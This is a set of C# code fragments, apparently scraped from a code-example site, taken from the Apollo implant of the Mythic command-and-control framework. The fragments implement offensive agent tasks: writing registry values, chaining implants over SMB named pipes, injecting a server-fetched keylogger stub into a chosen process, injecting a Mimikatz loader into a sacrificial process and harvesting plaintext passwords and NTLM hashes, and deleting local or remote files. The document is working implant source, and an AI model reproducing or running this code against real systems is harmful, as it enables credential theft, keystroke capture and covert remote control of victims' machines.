                            }
                            else if (value is null)
                            {
                                result = "(value not set)";
                                type   = "null";
                            }
                            else
                            {
                                result = value.ToString();
                                type   = "unknown";
                            }
                        }
                        results.Add(new RegQueryValuesResult()
                        {
                            name  = tempvalname,
                            value = result,
                            type  = type
                        });
                    }
                    job.SetComplete(results.ToArray());
                } catch (Exception ex)
                {
                    job.SetError(string.Format("Error occurred while listing values for {0}: {1}", key, ex.Message));
                }
                break;
#endif
#if REG_WRITE_VALUE
            case "reg_write_value":
                try
                {
                    if (isJsonArgs)
                    {
                        RegWriteValueArguments args = JsonConvert.DeserializeObject <RegWriteValueArguments>(job.Task.parameters);
                        key         = args.key;
                        value_name  = args.value_name;
                        value_value = args.value_value;
                    }
                    else if (commands.Length == 3)
                    {
                        key         = commands[0];
                        value_name  = commands[1];
                        value_value = commands[2];
                    }
                    else
                    {
                        job.SetError(string.Format("Invalid number of command line arguments given. Expected 3, got:\n\t{0}", string.Join(", ", commands)));
                        return;
                    }
                    bool bRet;
                    if (int.TryParse(value_value, out int dword))
                    {
                        bRet = RegistryUtils.SetValue(key, value_name, dword);
                    }
                    else
                    {
                        bRet = RegistryUtils.SetValue(key, value_name, value_value);
                    }
                    value_name = string.IsNullOrEmpty(value_name) ? "(Default)" : value_name;
                    if (bRet)
                    {
                        job.Task.completed = true;
                        ApolloTaskResponse resp = new ApolloTaskResponse(job.Task, $"Successfully set {value_name} to {value_value}")
                        {
                            artifacts = new Artifact[] { new Artifact()
                                                         {
                                                             artifact = $"Set {value_name} to {value_value} under {key}", base_artifact = "Registry Write"
                                                         } }
                        };
                        job.SetComplete(resp);
                    }
                    else
                    {
                        job.SetError(string.Format("Error setting {0} to {1}", value_name, value_value));
                    }
                } catch (Exception ex)
                {
                    value_name = string.IsNullOrEmpty(value_name) ? "(Default)" : value_name;
                    job.SetError(string.Format("Error setting {0} to {1}: {2}", value_name, value_value, ex.Message));
                }
                break;
#endif
            default:
                job.SetError("Unknown command: " + job.Task.command);
                break;
            }
        }
示例#15
0
        private static void Link(Job job, Agent implant)
        {
            LinkMessage        linkMsg     = JsonConvert.DeserializeObject <LinkMessage>(job.Task.parameters);
            ConnectionInfo     connInfo    = linkMsg.connection_info;
            C2ProfileInfo      profileInfo = connInfo.c2_profile;
            C2Profile          profile;
            bool               outbound;
            ApolloTaskResponse response;


            switch (profileInfo.name.ToLower())
            {
            case "smbserver":
                string pipeName = profileInfo.parameters["PIPE_NAME".ToLower()];
                string hostName = connInfo.host;
                try
                {
                    profile = new SMBClientProfile(pipeName, hostName, implant.Profile.cryptor);
                }
                catch (Exception ex)
                {
                    job.SetError(String.Format("Failed to link to {0} over named pipe \"{1}\". Reason: {2}", hostName, pipeName, ex.Message));
                    break;
                }
                SMBRelay relay = new SMBRelay((SMBClientProfile)profile, implant.Profile, job.Task.id);
                outbound = true;
                string newAgentGUIDMsg = Guid.NewGuid().ToString();
                Thread t = new Thread(() => relay.BeginRelay(newAgentGUIDMsg));
                t.Start();
                string       tempLinkedUUID = (string)MessageInbox.Inbox.GetMessage(newAgentGUIDMsg);
                DelegateNode delegateNode   = new DelegateNode()
                {
                    // AgentUUID = tempLinkedUUID,
                    NodeRelay = relay,
                    // TemporaryUUID = true,
                    OutboundConnect   = outbound,
                    OriginatingTaskID = job.Task.id,
                    AgentComputerName = hostName,
                    ProfileInfo       = profileInfo
                };
                EdgeNode en = new EdgeNode()
                {
                    source      = implant.uuid,
                    destination = tempLinkedUUID,
                    direction   = 1,   // from source to dest
                    metadata    = "",
                    action      = "add",
                    c2_profile  = profileInfo.name
                };
                if (tempLinkedUUID.StartsWith("staging-"))
                {
                    tempLinkedUUID             = tempLinkedUUID.Replace("staging-", "");
                    delegateNode.AgentUUID     = tempLinkedUUID;
                    delegateNode.TemporaryUUID = true;
                    //string linkedUUID = relay.InitializeRelay();
                    implant.AddDelegateNode(tempLinkedUUID, delegateNode);
                    string realUUID = (string)MessageInbox.Inbox.GetMessage(newAgentGUIDMsg);
                    //Thread t = new Thread(() => relay.BeginRelay(newAgentGUIDMsg));
                    //t.Start();

                    implant.RemoveDelegateNode(tempLinkedUUID);
                    delegateNode.AgentUUID     = realUUID;
                    delegateNode.TemporaryUUID = false;
                    implant.AddDelegateNode(realUUID, delegateNode);
                    en.destination = realUUID;
                }
                else
                {
                    // this is a real uuid already staged
                    delegateNode.AgentUUID     = tempLinkedUUID;
                    delegateNode.TemporaryUUID = false;
                    implant.AddDelegateNode(tempLinkedUUID, delegateNode);
                }

                response = new ApolloTaskResponse(job.Task, $"Established link to {hostName}", new EdgeNode[] { en });
                //implant.TryPostResponse(response);
                //implant.Profile.Send(JsonConvert.SerializeObject(new EdgeNodeMessage()
                //{
                //    edges = new EdgeNode[] { en }
                //}));
                job.SetComplete(response);
                //relay.BeginRelay();
                break;

            default:
                job.SetError("Unsupported code path in LinkManager.");
                break;
            }
        }
示例#16
0
        public static void Execute(Job job, Agent implant)
        {
            Task task = job.Task;

            byte[]             loggerStub;
            ApolloTaskResponse progressResp;
            KeylogArguments    args = JsonConvert.DeserializeObject <KeylogArguments>(task.parameters);

            if (args.pid < 0)
            {
                job.SetError("PID must be non-negative.");
                return;
            }
            if (string.IsNullOrEmpty(args.pipe_name))
            {
                job.SetError("No pipe was given to connect to.");
                return;
            }
            if (string.IsNullOrEmpty(args.file_id))
            {
                job.SetError("No file ID was given to retrieve.");
                return;
            }
            try
            {
                System.Diagnostics.Process.GetProcessById(args.pid);
            } catch (Exception ex)
            {
                job.SetError($"Failed to find process with PID {args.pid}. Reason: {ex.Message}");
                return;
            }

            loggerStub = implant.Profile.GetFile(job.Task.id, args.file_id, implant.Profile.ChunkSize);
            if (loggerStub == null || loggerStub.Length == 0)
            {
                job.SetError("Failed to fetch keylogger stub from server.");
                return;
            }
            var injectionType    = Injection.InjectionTechnique.GetInjectionTechnique();
            var injectionHandler = (Injection.InjectionTechnique)Activator.CreateInstance(injectionType, new object[] { loggerStub, (uint)args.pid });

            //Injection.CreateRemoteThreadInjection crt = new Injection.CreateRemoteThreadInjection(loaderStub, (uint)pid);


            if (injectionHandler.Inject())
            {
                BinaryFormatter bf = new BinaryFormatter();
                bf.Binder = new IPC.KeystrokeMessageBinder();
                NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", args.pipe_name, PipeDirection.InOut);
                try
                {
                    pipeClient.Connect(30000);
                    job.OnKill = delegate()
                    {
                        try
                        {
                            if (pipeClient.IsConnected)
                            {
                                bf.Serialize(pipeClient, new IPC.KillLoggerMessage());
                            }
                            job.SetComplete("Stopped keylogger.");
                        }
                        catch (Exception ex)
                        { }
                    };
                    job.AddOutput($"Connected to keylogger. Processing keystrokes.");
                    while (true)
                    {
                        KeystrokeMessage msg = new KeystrokeMessage();
                        try
                        {
                            msg = (IPC.KeystrokeMessage)bf.Deserialize(pipeClient);
                            ApolloTaskResponse resp = new ApolloTaskResponse()
                            {
                                task_id      = task.id,
                                user         = msg.User,
                                window_title = msg.WindowTitle,
                                keystrokes   = msg.Keystrokes
                            };
                            job.AddOutput(resp);
                        }
                        catch (Exception ex)
                        {
                        }
                    }
                } catch (Exception ex)
                {
                    job.SetError($"Something went wrong: {ex.Message}");
                }
            }
        }
示例#17
0
        /// <summary>
        /// Execute an arbitrary C# assembly in a sacrificial process
        /// that respects the current caller's token.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task. job.Task.parameters
        /// should contain a JSON structure with key "assembly" that
        /// has an associated Apfell file ID to pull from the server.
        /// This assembly is position-independent code generated from
        /// donut with arguments baked in.
        /// </param>
        /// <param name="agent">Agent this task is run on.</param>
        public static void Execute(Job job, Agent implant)
        {
            Task          task = job.Task;
            string        sacrificialApplication;
            string        commandLine = "";
            string        command     = "";
            string        loaderStubID;
            string        pipeName;
            JObject       json;
            List <string> output = new List <string>();

            /*
             * Response from the server should be of the form:
             * {
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "command": "command line arguments to send",
             * }
             */
            //ProcessWithAnonymousPipeIO sacrificialProcess = null;
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
            try
            {
                json = (JObject)JsonConvert.DeserializeObject(task.parameters);
            } catch (Exception ex)
            {
                job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}");
                return;
            }

            command = json.Value <string>("command");
            if (string.IsNullOrEmpty(command))
            {
                job.SetError("Require one or more commands to give to Mimikatz.");
                return;
            }

            loaderStubID = json.Value <string>("loader_stub_id");
            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            try
            {
                loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
            } catch (Exception ex)
            {
                job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}");
                return;
            }
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID));
                return;
            }

            pipeName = json.Value <string>("pipe_name");
            if (string.IsNullOrEmpty(pipeName))
            {
                job.SetError("No pipe name was given to DLL to start the named pipe server.");
                return;
            }

            if (implant.architecture == "x64")
            {
                sacrificialApplication = EvasionManager.SpawnTo64;
            }
            else
            {
                sacrificialApplication = EvasionManager.SpawnTo86;
            }

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(sacrificialApplication, commandLine, true);

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    ApolloTaskResponse response;
                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                        pipeClient.Connect(30000);

                        StreamWriter writer;
                        try
                        {
                            writer = new StreamWriter(pipeClient);
                            writer.Write(command);
                            writer.Flush();
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                var line = sr.ReadLine();
                                while (line != null && line.ToUpper().Trim() != "EOF")
                                {
                                    output.Add(line);
                                    line = sr.ReadLine();
                                }
                            }
                            if (pipeClient.IsConnected)
                            {
                                writer.Close();
                            }

                            if (output.Count > 0)
                            {
                                response = new ApolloTaskResponse(job.Task, output.ToArray());
                                var credResp = GetCredentialResponse(job.Task, command, output);
                                job.AddOutput(response);
                                if (credResp.credentials != null && credResp.credentials.Length > 0)
                                {
                                    job.AddOutput(credResp);
                                }
                                output.Clear();
                            }
                            job.SetComplete("");
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                        }
                    }
                    else
                    {
                        job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in Mimikatz (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in Mimikatz. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
示例#18
0
        private static ApolloTaskResponse GetCredentialResponse(Task task, string command, List <string> output)
        {
            bool bRet = false;
            List <Mythic.Structs.MythicCredential> creds = new List <Mythic.Structs.MythicCredential>();

            Mythic.Structs.MythicCredential cred = new Mythic.Structs.MythicCredential();
            ApolloTaskResponse resp = new ApolloTaskResponse(task);

            foreach (string cmd in CredentialCommands)
            {
                if (command.Contains(cmd))
                {
                    bRet = true;
                }
            }
            if (!bRet)
            {
                return(resp);
            }

            string[] outputArray = output.ToArray();
            for (int i = 0; i < outputArray.Length; i++)
            {
                string line = outputArray[i].Trim();
                if (line.ToLower().Contains("username"))
                {
                    if (cred.credential != null && cred.account != null && cred.credential != "" && cred.account != null)
                    {
                        creds.Add(cred);
                    }
                    cred = new Mythic.Structs.MythicCredential(true);
                    string val = GetValue(line);
                    cred.account = val;
                }
                if (line.ToLower().Contains("domain"))
                {
                    if (i + 1 < outputArray.Length)
                    {
                        if (outputArray[i + 1].ToLower().Contains("password") ||
                            outputArray[i + 1].ToLower().Contains("ntlm"))
                        {
                            cred.realm = GetValue(line);
                        }
                    }
                }
                if (line.ToLower().Contains("password") || line.ToLower().Contains("ntlm"))
                {
                    if (line.ToLower().Contains("password"))
                    {
                        cred.credential_type = "plaintext";
                    }
                    else if (line.ToLower().Contains("ntlm"))
                    {
                        cred.credential_type = "hash";
                    }
                    else
                    {
                        cred.credential_type = "";
                    }
                    cred.credential = GetValue(line);
                }
            }

            if (creds.Count == 0)
            {
                return(resp);
            }

            resp.credentials = creds.ToArray();
            return(resp);
        }
示例#19
0
        public static void Execute(Job job, Agent implant)
        {
            Task            task = job.Task;
            RemoveArguments args = JsonConvert.DeserializeObject <RemoveArguments>(task.parameters);
            string          path = args.path;

            if (!string.IsNullOrEmpty(args.host))
            {
                path = $"\\\\{args.host}\\{path.Replace(":", "$")}";
            }
            ApolloTaskResponse resp;

            switch (job.Task.command)
            {
            case "rm":
                try
                {
                    FileInfo finfo = new FileInfo(path);
                    System.IO.File.Delete(path);
                    task.completed     = true;
                    resp               = new ApolloTaskResponse(task, $"Successfully deleted file \"{path}\"");
                    resp.removed_files = new Mythic.Structs.RemovedFileInformation[]
                    {
                        new Mythic.Structs.RemovedFileInformation()
                        {
                            host = args.host, path = finfo.FullName
                        },
                    };
                    job.SetComplete(resp);
                }
                catch (Exception e)
                {
                    job.SetError($"Error removing file \"{path}\": {e.Message}");
                }
                break;

            case "rmdir":
                try
                {
                    DirectoryInfo dirinfo = new DirectoryInfo(path);
                    System.IO.Directory.Delete(path);
                    task.completed     = true;
                    resp               = new ApolloTaskResponse(task, $"Successfully deleted file \"{path}\"");
                    resp.removed_files = new Mythic.Structs.RemovedFileInformation[]
                    {
                        new Mythic.Structs.RemovedFileInformation()
                        {
                            host = args.host, path = dirinfo.FullName
                        }
                    };
                    job.SetComplete(resp);
                } catch (Exception ex)
                {
                    job.SetError($"Error deleting file \"{path}\". Reason: {ex.Message}");
                }
                break;

            default:
                job.SetError("Unsupported code path reached in Remove.cs");
                break;
            }
        }